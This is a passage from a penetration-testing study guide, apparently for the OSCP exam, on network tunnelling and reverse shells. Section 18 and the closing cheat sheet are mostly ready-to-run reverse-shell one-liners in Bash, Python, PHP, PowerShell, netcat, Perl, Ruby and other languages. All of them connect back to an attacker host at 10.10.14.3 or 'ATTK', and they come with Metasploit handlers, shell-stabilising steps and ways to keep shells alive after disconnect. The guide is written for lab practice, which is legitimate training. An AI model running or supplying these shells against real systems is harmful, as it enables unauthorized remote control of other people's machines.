17.3 SSH (Always Encrypted)

# SSH tunnels are encrypted by default
ssh -D 1080 -N user@10.10.10.5

17.4 Chisel with TLS

# Generate self-signed certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem -subj "/CN=tunnel"

# Server
./chisel server --port 443 --reverse --tls-cert cert.pem --tls-key key.pem

# Client (skip verification for self-signed)
./chisel client --tls-skip-verify 10.10.14.3:443 R:socks

17.5 Ligolo-ng with TLS

# Server with TLS
./ligolo-ng server --tls --tls-cert cert.pem --tls-key key.pem

# Client with TLS
./ligolo-ng client server --server 10.10.14.3:11601 --tls --tls-ca-cert ca.pem

18. Reverse Shell Techniques

Reverse shells are the foundation of all pivoting. You need a shell on the pivot before you can tunnel.

18.1 Reverse Shell One-Liners

Bash

# Basic
bash -i >& /dev/tcp/10.10.14.3/4443 0>&1

# Alternative
exec 5<>/dev/tcp/10.10.14.3/4443;cat <&5 | while read line; do $line 2>&5 >&5; done

# No /dev/tcp (busybox)
bash -c 'exec 3<>/dev/tcp/10.10.14.3/4443;while read line 0<&3; do $line 2>&3 >&3; done'

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Python 3 (shorter)
python3 -c 'import pty;import socket as s;s=s.socket();s.connect(("10.10.14.3",4443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

PHP

php -r '$sock=fsockopen("10.10.14.3",4443);exec("/bin/bash -i <&3 >&3 2>&3");'

# One-liner
php -r 'exec("/bin/bash -c \\"bash -i >& /dev/tcp/10.10.14.3/4443 0>&1\\")'

PowerShell

# Basic
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",4443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush()
};
$client.Close()

# Invoke-Shellcode (from Empire / Nishang)
Invoke-Shellcode -Payload windows/meterpreter/reverse_tcp -Lhost 10.10.14.3 -Lport 4443

Netcat

# Traditional netcat (with -e)
nc -e /bin/bash 10.10.14.3 4443
nc -e /bin/sh 10.10.14.3 4443

# Windows
nc.exe -e cmd.exe 10.10.14.3 4443

# Without -e (pipe method)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4443 >/tmp/f

Other Languages

# Perl
perl -e 'use Socket;$i="10.10.14.3";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

# Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.3",4443).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

# Lua
lua -e 'require("socket");require("os");t=socket.tcp();t:connect("10.10.14.3","4443");os.execute("/bin/bash -i <&3 >&3 2>&3");'

# Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.3/4443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

# Kotlin
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.3/4443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

18.2 Reverse Shell Comparison

Language Availability Reliability Interactive
Bash Linux High Needs upgrade
Python Linux/Windows High Needs upgrade
PHP Web servers Medium Needs upgrade
PowerShell Windows High Good
Netcat Both Depends on version Basic
Perl Linux High Needs upgrade
Ruby Linux High Needs upgrade

18.3 Listener Setup

# Basic netcat listener
nc -lvp 4443

# Socat listener (better for interactive shells)
socat FILE:`tty`,raw,echo=0 TCP-LISTEN:4444

# Socat with PTY (best quality)
socat TCP-LISTEN:4444,nip,su=0,range=10.10.10.0/24 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

# Metasploit multi-handler
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4443
set ExitOnSession false
exploit -j -z

18.4 Upgrading to Stable Shells

Problem: Basic reverse shells are unstable. No tab completion, no arrow keys, no Ctrl+C.

Solution: Upgrade to a proper PTY (pseudo-terminal).

Method 1: Python pty

python3 -c 'import pty; pty.spawn("/bin/bash")'

Method 2: script

script -qc /bin/bash
# or
script /dev/null

Method 3: Perl pty

perl -e 'exec "/bin/bash -i";'

Method 4: Stty Configuration (Full TTY)

# Step 1: Spawn Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell (Ctrl+Z)
# Then on your attacker machine:
stty raw -echo

# Step 3: Foreground the shell (fg)

# Step 4: Fix the terminal
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num_rows> cols <num_cols>

Method 5: Spawn from Meterpreter

# From Meterpreter
shell
# Then upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'

18.5 Shell Upgrade Checklist

graph TD
    A[Raw Reverse Shell] --> B{Has Python?}
    B -->|Yes| C[python3 -c 'import pty; pty.spawn(\"/bin/bash\")']
    B -->|No| D{Has script?}
    D -->|Yes| E[script /dev/null]
    D -->|No| F{Has Perl?}
    F -->|Yes| G[perl -e 'exec \"/bin/bash -i\"']
    F -->|No| H[Use stty method]
    C --> I[Ctrl+Z → stty raw -echo → fg]
    E --> I
    G --> I
    H --> I
    I --> J[reset → export TERM → stty rows/cols]
    J --> K[Full Interactive Shell]

18.6 Keeping Shells Alive

# Ignore hangups
nohup bash -i >& /dev/tcp/10.10.14.3/4443 0>&1 &

# Disown the process
bash -i >& /dev/tcp/10.10.14.3/4443 0>&1 &
disown

# Setsid (new session)
setsid bash -i >& /dev/tcp/10.10.14.3/4443 0>&1 &

19. Quick Reference Cheat Sheet

Tunnel Selection Flowchart

graph TD
    A[Need to Pivot?] --> B{SSH available on pivot?}
    B -->|Yes| C[Use SSH Tunnel]
    B -->|No| D{Can pivot connect OUT to you?}
    D -->|Yes| E{Which ports open?}
    D -->|No| F{Can you connect IN to pivot?}
    F -->|Yes| G[Chisel server on pivot]
    F -->|No| H[Need another foothold first]
    E -->|Any TCP| I[Chisel Reverse Tunnel]
    E -->|HTTP/HTTPS only| J[ReGeorg / Ligolo HTTP]
    E -->|DNS only| K[iodine / dnscat2]
    E -->|ICMP only| L[ptunnel2]
    C --> M[Success]
    I --> M
    J --> M
    K --> M
    L --> M
    G --> M

Command Quick Reference

Goal Command
SSH SOCKS proxy ssh -D 1080 -N user@pivot
SSH local forward ssh -L 8080:target:80 user@pivot
SSH remote forward ssh -R 9999:localhost:4444 user@pivot
Chisel reverse SOCKS Server: chisel server --port 8000 --reverse / Client: chisel client ATTK:8000 R:socks
Chisel reverse port Client: chisel client ATTK:8000 R:9090:target:80
Socat forward socat TCP-LISTEN:8080,fork TCP:target:80
Socat reverse shell socat TCP:ATTK:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane
Meterpreter forward portfwd add -l 8080 -p 80 -r target
MSF autoroute run autoroute -s 10.10.10.0/24
Proxychains scan proxychains4 nmap -sT -Pn -p 22,80,443 target
ReGeorg proxy python3 reGeorgSocksProxy.py -p 8080 -u http://pivot/tunnel.php
Bash reverse shell bash -i >& /dev/tcp/ATTK/4443 0>&1
Python reverse shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTK",4443));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/bash","-i"])'
PowerShell reverse shell See section 18.1
Upgrade shell (Python) python3 -c 'import pty; pty.spawn("/bin/bash")'
Upgrade shell (script) script /dev/null
Full TTY fix Ctrl+Z → stty raw -echo → fg → reset → export TERM=xterm-256color

Port Reference for Internal Scanning

Port Service Priority
22 SSH High
53 DNS Medium
80 HTTP High
88 Kerberos High (AD)
135 MSRPC Medium (Windows)
139 NetBIOS Medium
389 LDAP High (AD)
443 HTTPS High
445 SMB High
1433 MSSQL Medium
1521 Oracle DB Medium
3306 MySQL Medium
3389 RDP High
5432 PostgreSQL Medium
5985 WinRM High (Windows)
5986 WinRM/SSL High (Windows)
6379 Redis Medium
8080 HTTP Alt High
8443 HTTPS Alt Medium
9200 Elasticsearch Medium
27017 MongoDB Medium

Final Notes

OSCP Exam Tips

  1. Always try SSH first. It is the most reliable tunnel method.
  2. Chisel is your backup. Upload the binary when SSH is not available.
  3. Meterpreter portfwd is quick. Use it when you already have a Meterpreter session.
  4. autoroute for MSF exploits. When you need to run exploits against internal hosts.
  5. Proxychains + SOCKS for scanning. The standard combo for internal network discovery.
  6. Keep tunnels stable. Use tmux or screen to prevent disconnection.
  7. Document every tunnel. Track which ports map to which hosts.
  8. Clean up. Remove forwarding rules and close tunnels when done.

Common Pitfalls

Pitfall Solution
Tunnel drops Use autossh, tmux, or systemd
Proxychains not working Check config file, use -sT for nmap
Chisel connection refused Verify server is running, check firewall
Meterpreter portfwd not routing Verify session is active, check target IP
Shell dies on disconnect Use nohup, disown, or setsid
Slow tunnel performance Use Chisel over SSH for speed
DNS blocked for tunnel Try ICMP or HTTP instead

End of Chapter 15: Advanced Tunneling

This guide covers all tunneling techniques required for the OSCP examination. Practice each method in a lab environment to build muscle memory.